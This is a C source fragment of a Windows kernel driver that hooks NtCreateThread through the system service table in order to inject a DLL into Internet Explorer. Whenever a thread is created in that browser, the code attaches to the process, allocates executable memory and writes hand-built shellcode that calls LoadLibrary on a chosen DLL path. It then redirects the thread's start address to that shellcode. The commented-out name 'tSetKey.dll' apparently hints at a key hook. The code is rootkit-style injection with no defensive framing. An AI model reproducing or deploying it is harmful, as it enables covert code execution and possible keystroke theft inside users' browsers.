ring0下注入DLL

NTSTATUS	MyNtCreateThread
(
	OUT		PHANDLE ThreadHandle,
	IN			ACCESS_MASK DesiredAccess,
	IN			POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN			HANDLE ProcessHandle,
	OUT		PCLIENT_ID ClientId,
	IN			PCONTEXT ThreadContext,
	IN			PHANDLE InitialTeb,
	IN			BOOLEAN CreateSuspended
)
{
	pfnNtCreateThread  oldNtCreateThread = (pfnNtCreateThread)SystemServiceAddr[ServiceCreateThreadID];
	if(IsHandleExist(ProcessHandle)){

	CHAR				ProcessName[16];
	NTSTATUS		ObjectStatus;
	PRKPROCESS	pProcess;
	POBJECT_TYPE PsProcessType;
	NTSTATUS		ResultStatus;
	DbgPrint(   "CreateThread(%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x)\n",
		ThreadHandle,
		DesiredAccess,
		ObjectAttributes,
		ProcessHandle,
		ClientId,
		ThreadContext,
		InitialTeb,
		CreateSuspended);
	PsProcessType = NULL;

	///获得EPROCESS对象
	ObjectStatus = ObReferenceObjectByHandle(
		ProcessHandle,
		PROCESS_ALL_ACCESS,
		PsProcessType,
		UserMode,
		(PVOID *)&pProcess,
		NULL);
	if (ObjectStatus ==STATUS_SUCCESS)
	{
		//ProcessName	=	(CHAR*)pProcess+0x174;
		RtlStringCbCopyA(ProcessName,16,(CHAR*)pProcess+0x174);
		_strlwr(ProcessName);//进程名转换为小写 
		if(strstr(ProcessName,Iexplore))
		{
			NTSTATUS AllocStatus;
			UCHAR * BaseAddr;
			SIZE_T RegionSize;
			ULONG Win32StartAddr;
			ULONG LoadLibraryAddr;  
			RegionSize = 100;
			BaseAddr = NULL;
			PsProcessType = NULL;
			KAPC_STATE  apcstate;
			LoadLibraryAddr	=	g_addrinfo.LoadLibraryAddr;
			if(ThreadContext)
			{
				Win32StartAddr = ThreadContext->Eax;

				if (!Win32StartAddr)
				{
					DbgPrint("Win32StartAddr not set\n");
				}
				else
				{
					//切换上下文
					KeDetachProcess();
					KeAttachProcess(pProcess);

					//allocating memory with PAGE_EXECUTE_READWRITE access rights
// 					KeUnstackDetachProcess(&apcstate);
// 					KeStackAttachProcess(pProcess,&apcstate);
					AllocStatus = ZwAllocateVirtualMemory(
						NtCurrentProcess(),
						(PVOID*)&BaseAddr,
						0,
						&RegionSize,
						MEM_COMMIT        ,
						PAGE_EXECUTE_READWRITE);
					if (AllocStatus!=STATUS_SUCCESS)
					{
						DbgPrint("Fail to Allocate memory! AllocStatus = 0x%x\n",AllocStatus);
					}
					else
					{
						ULONG Offset = 0;
						ULONG OffsetStrAddr = 0;

						DbgPrint("Memory allocation OK! BaseAddr = 0x%x\n",BaseAddr);

						BaseAddr[Offset] = 0x68; 						//push	0xXXXXXXXX
						++Offset;
						OffsetStrAddr = Offset;
						Offset += 4;

						BaseAddr[Offset] = 0xbb; 						//mov ebx,LoadLibraryAddr
						++Offset;

						*(ULONG *)(BaseAddr+Offset) = LoadLibraryAddr;
						Offset += 4;

						BaseAddr[Offset] = 0xff; 						//call ebx
						++Offset;
						BaseAddr[Offset] = 0xd3;
						++Offset;

						BaseAddr[Offset] = 0xb8;						//mov eax,Win32StartAddr
						++Offset;
						*(ULONG *)(BaseAddr+Offset) = Win32StartAddr;
						Offset += 4;

						BaseAddr[Offset] = 0x50; 						//push eax
						++Offset;

						BaseAddr[Offset] = 0xc3; 						//ret
						++Offset;

						*(ULONG *)(BaseAddr+OffsetStrAddr) = (ULONG)(BaseAddr + Offset); // parameter for LoadLibrary

						//tSetKey.dll
						//memcpy(BaseAddr+Offset,"tSetKey.dll",strlen("tSetKey.dll")+1);
						memcpy(BaseAddr+Offset,g_addrinfo.DllPath,sizeof(g_addrinfo.DllPath));

						DbgPrint("<EAX:0x%08x>\n",Win32StartAddr);
						Win32StartAddr = (ULONG)BaseAddr;
					}//end ZwAllocateVirtualMemory
					//切换上下文
					KeDetachProcess();
					///设置Win32StartAddr
					ThreadContext->Eax = Win32StartAddr;
				}
			}//end ThreadConext
			ObDereferenceObject(pProcess);
		}//end strstr
		RemoveHandle(ProcessHandle);
	}//end obj
	else
	{
		DbgPrint(("Fail to RefernceObject. Stopping Injecting Technique.\n"));
	}
}//end Ishandleexist;
	return oldNtCreateThread(ThreadHandle,DesiredAccess,ObjectAttributes,ProcessHandle,ClientId,ThreadContext,InitialTeb,CreateSuspended);
}